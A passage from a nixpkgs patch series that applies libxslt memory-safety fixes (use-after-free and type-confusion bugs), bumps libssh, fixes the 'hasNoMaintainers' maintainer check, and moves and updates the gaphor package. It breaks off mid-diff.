++	    list->RVT->children = NULL;
++	    list->RVT->last = NULL;
+ 	}
+-	if (RVT->ids != NULL) {
+-	    xmlFreeIDTable((xmlIDTablePtr) RVT->ids);
+-	    RVT->ids = NULL;
++	if (list->RVT->ids != NULL) {
++	    xmlFreeIDTable((xmlIDTablePtr) list->RVT->ids);
++	    list->RVT->ids = NULL;
+ 	}
+ 
+ 	/*
+ 	* Reset the ownership information.
+ 	*/
+-	RVT->compression = 0;
++	list->RVT->compression = 0;
+ 
+-	RVT->next = (xmlNodePtr) ctxt->cache->RVT;
+-	ctxt->cache->RVT = RVT;
++	list->next = ctxt->cache->rvtList;
++	ctxt->cache->rvtList = list;
+ 
+ 	ctxt->cache->nbRVT++;
+ 
+@@ -394,11 +444,12 @@ xsltReleaseRVT(xsltTransformContextPtr ctxt, xmlDocPtr RVT)
+     /*
+     * Free it.
+     */
+-    if (RVT->_private != NULL) {
+-	xsltFreeDocumentKeys((xsltDocumentPtr) RVT->_private);
+-	xmlFree(RVT->_private);
++    if (list->RVT->_private != NULL) {
++	xsltFreeDocumentKeys((xsltDocumentPtr) list->RVT->_private);
++	xmlFree(list->RVT->_private);
+     }
+-    xmlFreeDoc(RVT);
++    xmlFreeDoc(list->RVT);
++    xmlFree(list);
+ }
+ 
+ /**
+@@ -416,14 +467,17 @@ xsltReleaseRVT(xsltTransformContextPtr ctxt, xmlDocPtr RVT)
+ int
+ xsltRegisterPersistRVT(xsltTransformContextPtr ctxt, xmlDocPtr RVT)
+ {
++    xsltRVTListPtr list;
++
+     if ((ctxt == NULL) || (RVT == NULL)) return(-1);
+ 
++    list = xsltRVTListCreate();
++    if (list == NULL) return(-1);
++
+     RVT->compression = XSLT_RVT_GLOBAL;
+-    RVT->prev = NULL;
+-    RVT->next = (xmlNodePtr) ctxt->persistRVT;
+-    if (ctxt->persistRVT != NULL)
+-	ctxt->persistRVT->prev = (xmlNodePtr) RVT;
+-    ctxt->persistRVT = RVT;
++    list->RVT = RVT;
++    list->next = ctxt->persistRVTList;
++    ctxt->persistRVTList = list;
+     return(0);
+ }
+ 
+@@ -438,52 +492,55 @@ xsltRegisterPersistRVT(xsltTransformContextPtr ctxt, xmlDocPtr RVT)
+ void
+ xsltFreeRVTs(xsltTransformContextPtr ctxt)
+ {
+-    xmlDocPtr cur, next;
++    xsltRVTListPtr cur, next;
+ 
+     if (ctxt == NULL)
+ 	return;
+     /*
+     * Local fragments.
+     */
+-    cur = ctxt->localRVT;
++    cur = ctxt->localRVTList;
+     while (cur != NULL) {
+-        next = (xmlDocPtr) cur->next;
+-	if (cur->_private != NULL) {
+-	    xsltFreeDocumentKeys(cur->_private);
+-	    xmlFree(cur->_private);
++        next = cur->next;
++	if (cur->RVT->_private != NULL) {
++	    xsltFreeDocumentKeys(cur->RVT->_private);
++	    xmlFree(cur->RVT->_private);
+ 	}
+-	xmlFreeDoc(cur);
++	xmlFreeDoc(cur->RVT);
++        xmlFree(cur);
+ 	cur = next;
+     }
+-    ctxt->localRVT = NULL;
++    ctxt->localRVTList = NULL;
+     /*
+     * User-created per-template fragments.
+     */
+-    cur = ctxt->tmpRVT;
++    cur = ctxt->tmpRVTList;
+     while (cur != NULL) {
+-        next = (xmlDocPtr) cur->next;
+-	if (cur->_private != NULL) {
+-	    xsltFreeDocumentKeys(cur->_private);
+-	    xmlFree(cur->_private);
++        next = cur->next;
++	if (cur->RVT->_private != NULL) {
++	    xsltFreeDocumentKeys(cur->RVT->_private);
++	    xmlFree(cur->RVT->_private);
+ 	}
+-	xmlFreeDoc(cur);
++	xmlFreeDoc(cur->RVT);
++        xmlFree(cur);
+ 	cur = next;
+     }
+-    ctxt->tmpRVT = NULL;
++    ctxt->tmpRVTList = NULL;
+     /*
+     * Global fragments.
+     */
+-    cur = ctxt->persistRVT;
++    cur = ctxt->persistRVTList;
+     while (cur != NULL) {
+-        next = (xmlDocPtr) cur->next;
+-	if (cur->_private != NULL) {
+-	    xsltFreeDocumentKeys(cur->_private);
+-	    xmlFree(cur->_private);
++        next = cur->next;
++	if (cur->RVT->_private != NULL) {
++	    xsltFreeDocumentKeys(cur->RVT->_private);
++	    xmlFree(cur->RVT->_private);
+ 	}
+-	xmlFreeDoc(cur);
++	xmlFreeDoc(cur->RVT);
++        xmlFree(cur);
+ 	cur = next;
+     }
+-    ctxt->persistRVT = NULL;
++    ctxt->persistRVTList = NULL;
+ }
+ 
+ /************************************************************************
+@@ -571,21 +628,22 @@ xsltFreeStackElem(xsltStackElemPtr elem) {
+     * Release the list of temporary Result Tree Fragments.
+     */
+     if (elem->context) {
+-	xmlDocPtr cur;
++	xsltRVTListPtr cur;
+ 
+ 	while (elem->fragment != NULL) {
+ 	    cur = elem->fragment;
+-	    elem->fragment = (xmlDocPtr) cur->next;
+-
+-            if (cur->compression == XSLT_RVT_LOCAL) {
+-		xsltReleaseRVT(elem->context, cur);
+-            } else if (cur->compression == XSLT_RVT_FUNC_RESULT) {
+-                xsltRegisterLocalRVT(elem->context, cur);
+-                cur->compression = XSLT_RVT_FUNC_RESULT;
++	    elem->fragment = cur->next;
++
++            if (cur->RVT->compression == XSLT_RVT_LOCAL) {
++		xsltReleaseRVTList(elem->context, cur);
++            } else if (cur->RVT->compression == XSLT_RVT_FUNC_RESULT) {
++                xsltRegisterLocalRVT(elem->context, cur->RVT);
++                cur->RVT->compression = XSLT_RVT_FUNC_RESULT;
++                xmlFree(cur);
+             } else {
+                 xmlGenericError(xmlGenericErrorContext,
+                         "xsltFreeStackElem: Unexpected RVT flag %d\n",
+-                        cur->compression);
++                        cur->RVT->compression);
+             }
+ 	}
+     }
+@@ -944,6 +1002,7 @@ xsltEvalVariable(xsltTransformContextPtr ctxt, xsltStackElemPtr variable,
+ 	} else {
+ 	    if (variable->tree) {
+ 		xmlDocPtr container;
++                xsltRVTListPtr rvtList;
+ 		xmlNodePtr oldInsert;
+ 		xmlDocPtr  oldOutput;
+                 const xmlChar *oldLastText;
+@@ -968,7 +1027,11 @@ xsltEvalVariable(xsltTransformContextPtr ctxt, xsltStackElemPtr variable,
+ 		* when the variable is freed, it will also free
+ 		* the Result Tree Fragment.
+ 		*/
+-		variable->fragment = container;
++                rvtList = xsltRVTListCreate();
++                if (rvtList == NULL)
++                    goto error;
++                rvtList->RVT = container;
++		variable->fragment = rvtList;
+                 container->compression = XSLT_RVT_LOCAL;
+ 
+ 		oldOutput = ctxt->output;
+@@ -2361,5 +2424,3 @@ local_variable_found:
+ 
+     return(valueObj);
+ }
+-
+-
+diff --git a/libxslt/xsltInternals.h b/libxslt/xsltInternals.h
+index 6faa07db..ec84e1df 100644
+--- a/libxslt/xsltInternals.h
++++ b/libxslt/xsltInternals.h
+@@ -1410,6 +1410,8 @@ struct _xsltStylePreComp {
+ 
+ #endif /* XSLT_REFACTORED */
+ 
++typedef struct _xsltRVTList xsltRVTList;
++typedef xsltRVTList *xsltRVTListPtr;
+ 
+ /*
+  * The in-memory structure corresponding to an XSLT Variable
+@@ -1427,7 +1429,7 @@ struct _xsltStackElem {
+     xmlNodePtr tree;		/* the sequence constructor if no eval
+ 				    string or the location */
+     xmlXPathObjectPtr value;	/* The value if computed */
+-    xmlDocPtr fragment;		/* The Result Tree Fragments (needed for XSLT 1.0)
++    xsltRVTListPtr fragment;	/* The Result Tree Fragments (needed for XSLT 1.0)
+ 				   which are bound to the variable's lifetime. */
+     int level;                  /* the depth in the tree;
+                                    -1 if persistent (e.g. a given xsl:with-param) */
+@@ -1639,10 +1641,15 @@ struct _xsltStylesheet {
+     unsigned long opCount;
+ };
+ 
++struct _xsltRVTList {
++  xmlDocPtr RVT;
++  xsltRVTListPtr next;
++};
++
+ typedef struct _xsltTransformCache xsltTransformCache;
+ typedef xsltTransformCache *xsltTransformCachePtr;
+ struct _xsltTransformCache {
+-    xmlDocPtr RVT;
++    xsltRVTListPtr rvtList;
+     int nbRVT;
+     xsltStackElemPtr stackItems;
+     int nbStackItems;
+@@ -1749,8 +1756,8 @@ struct _xsltTransformContext {
+      * handling of temporary Result Value Tree
+      * (XSLT 1.0 term: "Result Tree Fragment")
+      */
+-    xmlDocPtr       tmpRVT;		/* list of RVT without persistance */
+-    xmlDocPtr       persistRVT;		/* list of persistant RVTs */
++    xsltRVTListPtr  tmpRVTList;	        /* list of RVT without persistance */
++    xsltRVTListPtr  persistRVTList;     /* list of persistant RVTs */
+     int             ctxtflags;          /* context processing flags */
+ 
+     /*
+@@ -1783,7 +1790,7 @@ struct _xsltTransformContext {
+     xmlDocPtr initialContextDoc;
+     xsltTransformCachePtr cache;
+     void *contextVariable; /* the current variable item */
+-    xmlDocPtr localRVT; /* list of local tree fragments; will be freed when
++    xsltRVTListPtr localRVTList; /* list of local tree fragments; will be freed when
+ 			   the instruction which created the fragment
+                            exits */
+     xmlDocPtr localRVTBase; /* Obsolete */
+@@ -1932,8 +1939,11 @@ XSLTPUBFUN int XSLTCALL
+ XSLTPUBFUN void XSLTCALL
+ 			xsltFreeRVTs		(xsltTransformContextPtr ctxt);
+ XSLTPUBFUN void XSLTCALL
+-			xsltReleaseRVT		(xsltTransformContextPtr ctxt,
++			xsltReleaseRVT          (xsltTransformContextPtr ctxt,
+ 						 xmlDocPtr RVT);
++XSLTPUBFUN void XSLTCALL
++			xsltReleaseRVTList	(xsltTransformContextPtr ctxt,
++						 xsltRVTListPtr list);
+ /*
+  * Extra functions for Attribute Value Templates
+  */
+@@ -1992,4 +2002,3 @@ XSLTPUBFUN int XSLTCALL
+ #endif
+ 
+ #endif /* __XML_XSLT_H__ */
+-
+-- 
+GitLab
+
diff --git a/pkgs/development/libraries/libxslt/default.nix b/pkgs/development/libraries/libxslt/default.nix
index 206fe487fd0a..429fcbdf798d 100644
--- a/pkgs/development/libraries/libxslt/default.nix
+++ b/pkgs/development/libraries/libxslt/default.nix
@@ -33,6 +33,23 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-Wj1rODylr8I1sXERjpD1/2qifp/qMwMGUjGm1APwGDo=";
   };
 
+  patches = [
+    # Fix use-after-free with key data stored cross-RVT
+    # https://gitlab.gnome.org/GNOME/libxslt/-/issues/144
+    # Source: https://gitlab.gnome.org/GNOME/libxslt/-/merge_requests/77
+    ./77-Use-a-dedicated-node-type-to-maintain-the-list-of-cached-rv-ts.patch
+
+    # Fix type confusion in xmlNode.psvi between stylesheet and source nodes
+    # https://gitlab.gnome.org/GNOME/libxslt/-/issues/139
+    # Fix heap-use-after-free in xmlFreeID caused by `atype` corruption
+    # https://gitlab.gnome.org/GNOME/libxslt/-/issues/140
+    #
+    # Depends on unmerged libxml2 patch that breaks ABI.
+    #
+    # Source: https://github.com/chromium/chromium/blob/4fb4ae8ce3daa399c3d8ca67f2dfb9deffcc7007/third_party/libxslt/chromium/new-unified-atype-extra.patch
+    ./new-unified-atype-extra.patch
+  ];
+
   strictDeps = true;
 
   nativeBuildInputs = [
diff --git a/pkgs/development/libraries/libxslt/new-unified-atype-extra.patch b/pkgs/development/libraries/libxslt/new-unified-atype-extra.patch
new file mode 100644
index 000000000000..0b729e4fe728
--- /dev/null
+++ b/pkgs/development/libraries/libxslt/new-unified-atype-extra.patch
@@ -0,0 +1,206 @@
+diff --git a/libxslt/functions.c b/libxslt/functions.c
+index 72a58dc4d6592..309af458c22f7 100644
+--- a/libxslt/functions.c
++++ b/libxslt/functions.c
+@@ -760,7 +760,7 @@ xsltGenerateIdFunction(xmlXPathParserContextPtr ctxt, int nargs){
+     }
+ 
+     if (xsltGetSourceNodeFlags(cur) & XSLT_SOURCE_NODE_HAS_ID) {
+-        id = (unsigned long) (size_t) *psviPtr;
++        id = (unsigned long) xsltGetSourceNodeValue(cur);
+     } else {
+         if (cur->type == XML_TEXT_NODE && cur->line == USHRT_MAX) {
+             /* Text nodes store big line numbers in psvi. */
+@@ -772,7 +772,7 @@ xsltGenerateIdFunction(xmlXPathParserContextPtr ctxt, int nargs){
+             goto out;
+         }
+ 
+-        if (tctxt->currentId == ULONG_MAX) {
++        if (tctxt->currentId == XSLT_SOURCE_NODE_VALUE_MAX) {
+             xsltTransformError(tctxt, NULL, NULL,
+                     "generate-id(): id overflow\n");
+             ctxt->error = XPATH_MEMORY_ERROR;
+@@ -780,7 +780,7 @@ xsltGenerateIdFunction(xmlXPathParserContextPtr ctxt, int nargs){
+         }
+ 
+         id = ++tctxt->currentId;
+-        *psviPtr = (void *) (size_t) id;
++        xsltSetSourceNodeValue(cur, id);
+         xsltSetSourceNodeFlags(tctxt, cur, XSLT_SOURCE_NODE_HAS_ID);
+     }
+ 
+diff --git a/libxslt/transform.c b/libxslt/transform.c
+index 54ef821b5016f..1ac2471d6441b 100644
+--- a/libxslt/transform.c
++++ b/libxslt/transform.c
+@@ -5772,7 +5772,8 @@ xsltCleanupSourceDoc(xmlDocPtr doc) {
+             xmlAttrPtr prop = cur->properties;
+ 
+             while (prop) {
+-                prop->atype &= ~(XSLT_SOURCE_NODE_MASK << 27);
++                prop->extra &=
++                    ~(XSLT_SOURCE_NODE_MASK << XSLT_SOURCE_NODE_SHIFT_32);
+                 prop->psvi = NULL;
+                 prop = prop->next;
+             }
+diff --git a/libxslt/xsltutils.c b/libxslt/xsltutils.c
+index a20da96182289..b431fafbbb441 100644
+--- a/libxslt/xsltutils.c
++++ b/libxslt/xsltutils.c
+@@ -1920,26 +1920,26 @@ xsltSaveResultToString(xmlChar **doc_txt_ptr, int * doc_txt_len,
+ int
+ xsltGetSourceNodeFlags(xmlNodePtr node) {
+     /*
+-     * Squeeze the bit flags into the upper bits of
++     * Squeeze the bit flags into the upper 4 bits of
+      *
+-     * - 'int properties' member in struct _xmlDoc
+-     * - 'xmlAttributeType atype' member in struct _xmlAttr
++     * - 'unsigned int extra' member in struct _xmlDoc
++     * - 'unsigned int extra' member in struct _xmlAttr
+      * - 'unsigned short extra' member in struct _xmlNode
+      */
+     switch (node->type) {
+         case XML_DOCUMENT_NODE:
+         case XML_HTML_DOCUMENT_NODE:
+-            return ((xmlDocPtr) node)->properties >> 27;
++            return ((xmlDocPtr) node)->extra >> XSLT_SOURCE_NODE_SHIFT_32;
+ 
+         case XML_ATTRIBUTE_NODE:
+-            return ((xmlAttrPtr) node)->atype >> 27;
++            return ((xmlAttrPtr) node)->extra >> XSLT_SOURCE_NODE_SHIFT_32;
+ 
+         case XML_ELEMENT_NODE:
+         case XML_TEXT_NODE:
+         case XML_CDATA_SECTION_NODE:
+         case XML_PI_NODE:
+         case XML_COMMENT_NODE:
+-            return node->extra >> 12;
++            return node->extra >> XSLT_SOURCE_NODE_SHIFT_32;
+ 
+         default:
+             return 0;
+@@ -1964,11 +1964,13 @@ xsltSetSourceNodeFlags(xsltTransformContextPtr ctxt, xmlNodePtr node,
+     switch (node->type) {
+         case XML_DOCUMENT_NODE:
+         case XML_HTML_DOCUMENT_NODE:
+-            ((xmlDocPtr) node)->properties |= flags << 27;
++            ((xmlDocPtr) node)->extra |=
++                ((unsigned) flags << XSLT_SOURCE_NODE_SHIFT_32);
+             return 0;
+ 
+         case XML_ATTRIBUTE_NODE:
+-            ((xmlAttrPtr) node)->atype |= flags << 27;
++            ((xmlAttrPtr) node)->extra |=
++                ((unsigned) flags << XSLT_SOURCE_NODE_SHIFT_32);
+             return 0;
+ 
+         case XML_ELEMENT_NODE:
+@@ -1976,7 +1978,7 @@ xsltSetSourceNodeFlags(xsltTransformContextPtr ctxt, xmlNodePtr node,
+         case XML_CDATA_SECTION_NODE:
+         case XML_PI_NODE:
+         case XML_COMMENT_NODE:
+-            node->extra |= flags << 12;
++            node->extra |= ((unsigned) flags << XSLT_SOURCE_NODE_SHIFT_16);
+             return 0;
+ 
+         default:
+@@ -1998,11 +2000,13 @@ xsltClearSourceNodeFlags(xmlNodePtr node, int flags) {
+     switch (node->type) {
+         case XML_DOCUMENT_NODE:
+         case XML_HTML_DOCUMENT_NODE:
+-            ((xmlDocPtr) node)->properties &= ~(flags << 27);
++            ((xmlDocPtr) node)->extra &=
++                ~((unsigned) flags << XSLT_SOURCE_NODE_SHIFT_32);
+             return 0;
+ 
+         case XML_ATTRIBUTE_NODE:
+-            ((xmlAttrPtr) node)->atype &= ~(flags << 27);
++            ((xmlAttrPtr) node)->extra &=
++                ~((unsigned) flags << XSLT_SOURCE_NODE_SHIFT_32);
+             return 0;
+ 
+         case XML_ELEMENT_NODE:
+@@ -2010,7 +2014,55 @@ xsltClearSourceNodeFlags(xmlNodePtr node, int flags) {
+         case XML_CDATA_SECTION_NODE:
+         case XML_PI_NODE:
+         case XML_COMMENT_NODE:
+-            node->extra &= ~(flags << 12);
++            node->extra &= ~((unsigned) flags << XSLT_SOURCE_NODE_SHIFT_16);
++            return 0;
++
++        default:
++            return -1;
++    }
++}
++
++/**
++ * xsltGetSourceNodeValue:
++ * @node:  Node from source document
++ *
++ * Returns the associated 28 bit unsigned value for a source node,
++ * or 0 if node does not have an associated value.
++ */
++int
++xsltGetSourceNodeValue(xmlNodePtr node) {
++    switch (node->type) {
++        case XML_DOCUMENT_NODE:
++        case XML_HTML_DOCUMENT_NODE:
++            return (((xmlDocPtr) node)->extra & XSLT_SOURCE_NODE_VALUE_MASK);
++
++        case XML_ATTRIBUTE_NODE:
++            return (((xmlAttrPtr) node)->extra & XSLT_SOURCE_NODE_VALUE_MASK);
++
++        default:
++            return 0;
++    }
++}
++
++/**
++ * xsltSetSourceNodeValue:
++ * @node:  Node from source document
++ * @value:  28 bit unsigned value to associate with the node.
++ *
++ * Returns 0 on success, -1 on error.
++ */
++int
++xsltSetSourceNodeValue(xmlNodePtr node, int value) {
++    switch (node->type) {
++        case XML_DOCUMENT_NODE:
++        case XML_HTML_DOCUMENT_NODE:
++            ((xmlDocPtr) node)->extra &= ~XSLT_SOURCE_NODE_VALUE_MASK;
++            ((xmlDocPtr) node)->extra |= (value & XSLT_SOURCE_NODE_VALUE_MASK);
++            return 0;
++
++        case XML_ATTRIBUTE_NODE:
++            ((xmlAttrPtr) node)->extra &= ~XSLT_SOURCE_NODE_VALUE_MASK;
++            ((xmlAttrPtr) node)->extra |= (value & XSLT_SOURCE_NODE_VALUE_MASK);
+             return 0;
+ 
+         default:
+diff --git a/libxslt/xsltutils.h b/libxslt/xsltutils.h
+index 2514774b3f11a..1e753eebadd98 100644
+--- a/libxslt/xsltutils.h
++++ b/libxslt/xsltutils.h
+@@ -261,6 +261,10 @@ XSLTPUBFUN xmlXPathCompExprPtr XSLTCALL
+ #define XSLT_SOURCE_NODE_MASK       15u
+ #define XSLT_SOURCE_NODE_HAS_KEY    1u
+ #define XSLT_SOURCE_NODE_HAS_ID     2u
++#define XSLT_SOURCE_NODE_SHIFT_16   12u
++#define XSLT_SOURCE_NODE_SHIFT_32   28u
++#define XSLT_SOURCE_NODE_VALUE_MASK ((1 << XSLT_SOURCE_NODE_SHIFT_32) - 1)
++#define XSLT_SOURCE_NODE_VALUE_MAX  XSLT_SOURCE_NODE_VALUE_MASK
+ int
+ xsltGetSourceNodeFlags(xmlNodePtr node);
+ int
+@@ -268,6 +272,10 @@ xsltSetSourceNodeFlags(xsltTransformContextPtr ctxt, xmlNodePtr node,
+                        int flags);
+ int
+ xsltClearSourceNodeFlags(xmlNodePtr node, int flags);
++int
++xsltSetSourceNodeValue(xmlNodePtr node, int value);
++int
++xsltGetSourceNodeValue(xmlNodePtr node);
+ void **
+ xsltGetPSVIPtr(xmlNodePtr cur);
+ /** DOC_ENABLE */

From 74a55cdaf923ad42b1f94942dd330ceae44ca9a2 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 25 Jun 2025 01:22:38 +0000
Subject: [PATCH 1954/4511] libssh: 0.11.1 -> 0.11.2

(cherry picked from commit 4f2183dd8d3d34942f55265079405a73d3ad14ac)
---
 pkgs/by-name/li/libssh/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libssh/package.nix b/pkgs/by-name/li/libssh/package.nix
index b0f5cbc51ce3..ed4aedfd2965 100644
--- a/pkgs/by-name/li/libssh/package.nix
+++ b/pkgs/by-name/li/libssh/package.nix
@@ -16,11 +16,11 @@
 
 stdenv.mkDerivation rec {
   pname = "libssh";
-  version = "0.11.1";
+  version = "0.11.2";
 
   src = fetchurl {
     url = "https://www.libssh.org/files/${lib.versions.majorMinor version}/libssh-${version}.tar.xz";
-    hash = "sha256-FLfcxy6R4IFRxYuYGntXCrJmP2MOfSg3ZF1anGEsG3k=";
+    hash = "sha256-aVKfwY9bYB8Lrw5aRQGivCbfXi8Rb1+PB/Gfr6ptBOc=";
   };
 
   outputs = [

From 791683326c5909826ab546983900c3996e833a74 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Thu, 29 May 2025 23:59:14 +0200
Subject: [PATCH 1955/4511] check-meta: fix 'hasNoMaintainers'

broken in 650eb613e64c49b538b0edece0742ae658971d1f

Previously, if any of `meta.teams` or `meta.maintainers`
was undefined, `hasNoMaintainers` would return false,
suggesting e.g. bash had a maintainer - it does not.

The old logic before meta.teams was:
```nix
  hasNoMaintainers = attrs: attrs ? meta.maintainers && (length attrs.meta.maintainers) == 0;
```
This meant a package that did not define `meta.maintainers` would
appear maintained by this check, while a package with `meta.maintainers = []` would be listed as unmaintained.

This might have been a bug.
If it was not, that logic could be restored by prepending an extra check to the condition:
```nix
  (attrs ? meta.maintainers || attrs ? meta.teams) && (attrs.meta.maintainers or [] == []) && (attrs.meta.teams or [] == [])
```

I believe this makes little sense though. if no maintainer is listed, a package should be considered unmaintained.
If really desired, this can still be bypassed by setting `meta.maintainers = null;` or something.

(cherry picked from commit 1ae214f8b09003652df63f2a0431e0e77d67a90a)
---
 pkgs/stdenv/generic/check-meta.nix | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/pkgs/stdenv/generic/check-meta.nix b/pkgs/stdenv/generic/check-meta.nix
index 739fe39394cb..d13a4264028f 100644
--- a/pkgs/stdenv/generic/check-meta.nix
+++ b/pkgs/stdenv/generic/check-meta.nix
@@ -110,9 +110,19 @@ let
   hasUnfreeLicense = attrs: hasLicense attrs && isUnfree attrs.meta.license;
 
   hasNoMaintainers =
+    # To get usable output, we want to avoid flagging "internal" derivations.
+    # Because we do not have a way to reliably decide between internal or
+    # external derivation, some heuristics are required to decide.
+    #
+    # If `outputHash` is defined, the derivation is a FOD, such as the output of a fetcher.
+    # If `description` is not defined, the derivation is probably not a package.
+    # Simply checking whether `meta` is defined is insufficient,
+    # as some fetchers and trivial builders do define meta.
     attrs:
-    (attrs ? meta.maintainers && (length attrs.meta.maintainers) == 0)
-    && (attrs ? meta.teams && (length attrs.meta.teams) == 0);
+    (!attrs ? outputHash)
+    && (attrs ? meta.description)
+    && (attrs.meta.maintainers or [ ] == [ ])
+    && (attrs.meta.teams or [ ] == [ ]);
 
   isMarkedBroken = attrs: attrs.meta.broken or false;
 

From 2bcbe10dd029f40af735632b70d224c1f1fb977a Mon Sep 17 00:00:00 2001
From: Jasi <normalc@posteo.net>
Date: Fri, 20 Jun 2025 00:34:39 -0400
Subject: [PATCH 1956/4511] gaphor: move to pkgs/by-name

(cherry picked from commit 90b3f4931d1b279185ede78b1fca81a707267b86)
---
 .../ga/gaphor/package.nix}                    | 28 ++++---------------
 pkgs/top-level/all-packages.nix               |  2 --
 2 files changed, 5 insertions(+), 25 deletions(-)
 rename pkgs/{tools/misc/gaphor/default.nix => by-name/ga/gaphor/package.nix} (79%)

diff --git a/pkgs/tools/misc/gaphor/default.nix b/pkgs/by-name/ga/gaphor/package.nix
similarity index 79%
rename from pkgs/tools/misc/gaphor/default.nix
rename to pkgs/by-name/ga/gaphor/package.nix
index 725fa2a1305b..cc09eb63fa2f 100644
--- a/pkgs/tools/misc/gaphor/default.nix
+++ b/pkgs/by-name/ga/gaphor/package.nix
@@ -1,34 +1,19 @@
 {
   lib,
-  buildPythonApplication,
   fetchPypi,
   copyDesktopItems,
   gobject-introspection,
-  poetry-core,
   wrapGAppsHook4,
   gtksourceview5,
   libadwaita,
   pango,
-  gaphas,
-  generic,
-  jedi,
-  pycairo,
-  pillow,
-  dulwich,
-  pydot,
-  defusedxml,
-  better-exceptions,
-  babel,
-  pygobject3,
-  tinycss2,
   gtk4,
   librsvg,
   makeDesktopItem,
-  python,
+  python3Packages,
   nix-update-script,
 }:
-
-buildPythonApplication rec {
+python3Packages.buildPythonApplication rec {
   pname = "gaphor";
   version = "3.0.0";
   pyproject = true;
@@ -41,6 +26,7 @@ buildPythonApplication rec {
   pythonRelaxDeps = [
     "defusedxml"
     "gaphas"
+    "pydot"
   ];
 
   nativeBuildInputs = [
@@ -55,9 +41,9 @@ buildPythonApplication rec {
     libadwaita
   ];
 
-  build-system = [ poetry-core ];
+  build-system = [ python3Packages.poetry-core ];
 
-  dependencies = [
+  dependencies = with python3Packages; [
     babel
     better-exceptions
     defusedxml
@@ -85,10 +71,6 @@ buildPythonApplication rec {
   # Disable automatic wrapGAppsHook4 to prevent double wrapping
   dontWrapGApps = true;
 
-  postInstall = ''
-    install -Dm644 $out/${python.sitePackages}/gaphor/ui/icons/hicolor/scalable/apps/org.gaphor.Gaphor.svg $out/share/pixmaps/gaphor.svg
-  '';
-
   preFixup = ''
     makeWrapperArgs+=(
       "''${gappsWrapperArgs[@]}" \
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 601fbc2a40d9..6a6218da6741 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -3045,8 +3045,6 @@ with pkgs;
 
   gandi-cli = python3Packages.callPackage ../tools/networking/gandi-cli { };
 
-  gaphor = python3Packages.callPackage ../tools/misc/gaphor { };
-
   inherit (callPackages ../tools/filesystems/garage { })
     garage
     garage_0_8

From def2e2e3deb7eb7763d27f2ec9083b58ad88a3fc Mon Sep 17 00:00:00 2001
From: Jasi <normalc@posteo.net>
Date: Fri, 20 Jun 2025 01:05:48 -0400
Subject: [PATCH 1957/4511] gaphor: furnish meta attributes; add normalcea as
 maintainer

(cherry picked from commit 7701707afc494359b04f2dde93ed5e3c4c441d5a)
---
 pkgs/by-name/ga/gaphor/package.nix | 17 +++++++++++++++--
 1 file changed, 15 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ga/gaphor/package.nix b/pkgs/by-name/ga/gaphor/package.nix
index cc09eb63fa2f..7d4a597a4231 100644
--- a/pkgs/by-name/ga/gaphor/package.nix
+++ b/pkgs/by-name/ga/gaphor/package.nix
@@ -84,11 +84,24 @@ python3Packages.buildPythonApplication rec {
   };
 
   meta = {
-    description = "Simple modeling tool written in Python";
-    homepage = "https://github.com/gaphor/gaphor";
+    description = "UML and SysML modeling tool";
+    longDescription = ''
+      Gaphor is a UML, SysML, RAAML, and C4 modeling application. It
+      is designed to be easy to use, while still being powerful.
+      Gaphor implements a fully-compliant UML 2 data model, so it is
+      much more than a picture drawing tool. You can use Gaphor to
+      quickly visualize different aspects of a system as well as
+      create complete, highly complex models.
+
+      Gaphor provides four modeling languages: UML, SysML, RAAML and C4 and
+      makes them accessible to beginners.
+    '';
+    homepage = "https://gaphor.org/";
     changelog = "https://github.com/gaphor/gaphor/releases/tag/${version}";
     license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [ normalcea ];
     teams = [ lib.teams.gnome-circle ];
+    mainProgram = "gaphor";
     platforms = lib.platforms.linux;
   };
 }

From ebfb9858c15d15cb9d4b829ef29dcdd0ae80316b Mon Sep 17 00:00:00 2001
From: Jasi <normalc@posteo.net>
Date: Fri, 20 Jun 2025 01:16:03 -0400
Subject: [PATCH 1958/4511] =?UTF-8?q?gaphor:=203.0.0=20=E2=86=92=203.1.0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit ee4b8baf8b58bcb754dd105d1af503b7819092ce)
---
 pkgs/by-name/ga/gaphor/package.nix | 58 +++++++++++++++---------------
 1 file changed, 29 insertions(+), 29 deletions(-)

diff --git a/pkgs/by-name/ga/gaphor/package.nix b/pkgs/by-name/ga/gaphor/package.nix
index 7d4a597a4231..65e7db2b43b6 100644
--- a/pkgs/by-name/ga/gaphor/package.nix
+++ b/pkgs/by-name/ga/gaphor/package.nix
@@ -1,43 +1,39 @@
 {
   lib,
-  fetchPypi,
-  copyDesktopItems,
+  fetchFromGitHub,
+  glib,
   gobject-introspection,
   wrapGAppsHook4,
   gtksourceview5,
   libadwaita,
-  pango,
-  gtk4,
-  librsvg,
-  makeDesktopItem,
   python3Packages,
   nix-update-script,
 }:
 python3Packages.buildPythonApplication rec {
   pname = "gaphor";
-  version = "3.0.0";
+  version = "3.1.0";
   pyproject = true;
 
-  src = fetchPypi {
-    inherit pname version;
-    hash = "sha256-I5n0XeZLQw4qje6gwh2aMu5Zo5tuXgESHhkR0xegaYM=";
+  src = fetchFromGitHub {
+    owner = "gaphor";
+    repo = "gaphor";
+    tag = version;
+    hash = "sha256-0xivimpYM1gwOO2QrovYiJPNUfuGclr+F/WyHLNl+jw=";
   };
 
   pythonRelaxDeps = [
-    "defusedxml"
-    "gaphas"
     "pydot"
+    "pygobject"
   ];
 
   nativeBuildInputs = [
-    copyDesktopItems
+    glib
     gobject-introspection
     wrapGAppsHook4
   ];
 
   buildInputs = [
     gtksourceview5
-    pango
     libadwaita
   ];
 
@@ -58,25 +54,29 @@ python3Packages.buildPythonApplication rec {
     tinycss2
   ];
 
-  desktopItems = [
-    (makeDesktopItem {
-      name = pname;
-      exec = "gaphor";
-      icon = "gaphor";
-      comment = meta.description;
-      desktopName = "Gaphor";
-    })
-  ];
+  postInstall = ''
